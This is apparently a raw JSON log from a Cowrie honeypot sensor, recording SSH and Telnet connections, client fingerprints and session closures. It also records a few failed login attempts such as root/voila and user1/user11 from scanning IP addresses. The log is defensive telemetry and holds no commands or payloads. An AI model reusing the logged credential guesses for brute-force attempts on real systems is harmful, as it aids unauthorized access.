{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d0c758b068","protocol":"ssh","message":"New connection: 213.209.159.158:54240 (10.17.0.5:22) [session: 02d0c758b068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:19.243986Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37294,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8be4dde78e","protocol":"telnet","message":"New connection: 162.55.233.176:37294 (159.203.135.109:23) [session: ea8be4dde78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:19.302586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:21.813215Z","src_ip":"213.209.159.158","session":"02d0c758b068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:21.816262Z","src_ip":"213.209.159.158","session":"02d0c758b068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.35909867286682,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:22.344715Z","src_ip":"188.208.141.113","session":"40af92904eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.328338623046875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:22.711042Z","src_ip":"188.208.141.113","session":"a61b09704f07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34018,"dst_ip":"10.17.0.5","dst_port":23,"session":"216644dbae8b","protocol":"telnet","message":"New connection: 188.208.141.113:34018 (10.17.0.5:23) [session: 216644dbae8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:23.003240Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34022,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30ed0e902f4","protocol":"telnet","message":"New connection: 188.208.141.113:34022 (10.17.0.5:23) [session: a30ed0e902f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:23.350081Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58300,"dst_ip":"10.17.0.5","dst_port":23,"session":"4adc9a7eb59e","protocol":"telnet","message":"New connection: 206.189.32.23:58300 (10.17.0.5:23) [session: 4adc9a7eb59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:25.467116Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53fea5ecbb4","protocol":"telnet","message":"New connection: 188.208.141.113:34026 (10.17.0.5:23) [session: f53fea5ecbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:25.540072Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34042,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ac62dc4fb99","protocol":"telnet","message":"New connection: 188.208.141.113:34042 (10.17.0.5:23) [session: 9ac62dc4fb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:25.661871Z"}
{"eventid":"cowrie.session.closed","duration":3.0489532947540283,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:26.398947Z","src_ip":"188.208.141.113","session":"a30ed0e902f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34052,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b7164c3a3a","protocol":"telnet","message":"New connection: 188.208.141.113:34052 (10.17.0.5:23) [session: 52b7164c3a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:26.709747Z"}
{"eventid":"cowrie.session.closed","duration":45.168593883514404,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:28.903683Z","src_ip":"188.208.141.113","session":"4f1e1a9cbce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.1407389640808105,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:29.802485Z","src_ip":"188.208.141.113","session":"9ac62dc4fb99","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"voila","message":"login attempt [root/voila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:30.904654Z","src_ip":"213.209.159.158","session":"02d0c758b068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.671733379364014,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:31.428516Z","src_ip":"188.208.141.113","session":"5abccbc3c649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.912906885147095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:31.734040Z","src_ip":"188.208.141.113","session":"cdde6046107c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48774,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b27fb8b0ca7","protocol":"telnet","message":"New connection: 188.208.141.113:48774 (10.17.0.5:23) [session: 6b27fb8b0ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:33.370832Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:34.491412Z","src_ip":"213.209.159.158","session":"02d0c758b068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4718,"dst_ip":"10.17.0.5","dst_port":22,"session":"113c0bba99c2","protocol":"ssh","message":"New connection: 213.209.159.158:4718 (10.17.0.5:22) [session: 113c0bba99c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:34.592781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:36.666175Z","src_ip":"213.209.159.158","session":"113c0bba99c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:36.668868Z","src_ip":"213.209.159.158","session":"113c0bba99c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33474,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43a9eb1eee2","protocol":"telnet","message":"New connection: 188.208.141.113:33474 (10.17.0.5:23) [session: c43a9eb1eee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:40.994689Z"}
{"eventid":"cowrie.session.closed","duration":33.81594681739807,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:41.795027Z","src_ip":"162.55.233.176","session":"64a0875af40c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"110e07855c8c","protocol":"telnet","message":"New connection: 206.189.32.23:50866 (10.17.0.5:23) [session: 110e07855c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:42.716951Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51902,"dst_ip":"10.17.0.5","dst_port":23,"session":"3708aab890e9","protocol":"telnet","message":"New connection: 206.189.32.23:51902 (10.17.0.5:23) [session: 3708aab890e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:44.755621Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"256f5f4114b2","protocol":"telnet","message":"New connection: 206.189.32.23:54244 (10.17.0.5:23) [session: 256f5f4114b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:45.746280Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvvvvvvv","message":"login attempt [root/vvvvvvvv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:45.762176Z","src_ip":"213.209.159.158","session":"113c0bba99c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33442,"dst_ip":"159.203.135.109","dst_port":23,"session":"badeb6335b55","protocol":"telnet","message":"New connection: 162.55.233.176:33442 (159.203.135.109:23) [session: badeb6335b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:46.364999Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33488,"dst_ip":"10.17.0.5","dst_port":23,"session":"912c5e413c51","protocol":"telnet","message":"New connection: 188.208.141.113:33488 (10.17.0.5:23) [session: 912c5e413c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:47.661899Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:48.972764Z","src_ip":"213.209.159.158","session":"113c0bba99c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ba2daa6115","protocol":"ssh","message":"New connection: 213.209.159.158:35924 (10.17.0.5:22) [session: 14ba2daa6115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:49.116375Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a962c21acaf","protocol":"telnet","message":"New connection: 188.208.141.113:50352 (10.17.0.5:23) [session: 6a962c21acaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:50.828516Z"}
{"eventid":"cowrie.session.closed","duration":31.67529559135437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:50.977753Z","src_ip":"162.55.233.176","session":"ea8be4dde78e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:51.197110Z","src_ip":"213.209.159.158","session":"14ba2daa6115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:51.200470Z","src_ip":"213.209.159.158","session":"14ba2daa6115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50360,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d64797b757","protocol":"telnet","message":"New connection: 188.208.141.113:50360 (10.17.0.5:23) [session: 40d64797b757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:51.521282Z"}
{"eventid":"cowrie.session.closed","duration":6.482754230499268,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:57.311154Z","src_ip":"188.208.141.113","session":"6a962c21acaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56024,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7d13abad518","protocol":"telnet","message":"New connection: 162.55.233.176:56024 (159.203.135.109:23) [session: a7d13abad518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:58.040083Z"}
{"eventid":"cowrie.session.closed","duration":6.652592658996582,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:46:58.173764Z","src_ip":"188.208.141.113","session":"40d64797b757","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps256","message":"login attempt [root/vps256] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:00.561233Z","src_ip":"213.209.159.158","session":"14ba2daa6115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":50177,"dst_ip":"159.203.135.109","dst_port":22,"session":"522bfc8fd0fd","protocol":"ssh","message":"New connection: 103.170.173.26:50177 (159.203.135.109:22) [session: 522bfc8fd0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:00.651190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:00.656918Z","src_ip":"103.170.173.26","session":"522bfc8fd0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:00.929210Z","src_ip":"103.170.173.26","session":"522bfc8fd0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.892038106918335,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:01.295500Z","src_ip":"188.208.141.113","session":"446e8328377f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.921903133392334,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:01.631494Z","src_ip":"188.208.141.113","session":"52b7164c3a3a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user11","message":"login attempt [user1/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:02.048532Z","src_ip":"103.170.173.26","session":"522bfc8fd0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:03.323324Z","src_ip":"103.170.173.26","session":"522bfc8fd0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:03.899977Z","src_ip":"213.209.159.158","session":"14ba2daa6115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47618,"dst_ip":"10.17.0.5","dst_port":22,"session":"e30a33addb7c","protocol":"ssh","message":"New connection: 213.209.159.158:47618 (10.17.0.5:22) [session: e30a33addb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:03.994595Z"}
{"eventid":"cowrie.session.closed","duration":42.172969818115234,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:05.176133Z","src_ip":"188.208.141.113","session":"216644dbae8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1dc19b36d5","protocol":"telnet","message":"New connection: 206.189.32.23:48082 (10.17.0.5:23) [session: 9c1dc19b36d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:05.998140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:06.016708Z","src_ip":"213.209.159.158","session":"e30a33addb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:06.020552Z","src_ip":"213.209.159.158","session":"e30a33addb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.14972543716431,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:08.689713Z","src_ip":"188.208.141.113","session":"f53fea5ecbb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.51310110092163,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:09.980015Z","src_ip":"206.189.32.23","session":"4adc9a7eb59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcdc03019ac","protocol":"telnet","message":"New connection: 188.208.141.113:58744 (10.17.0.5:23) [session: ffcdc03019ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:47:12.815702Z"}
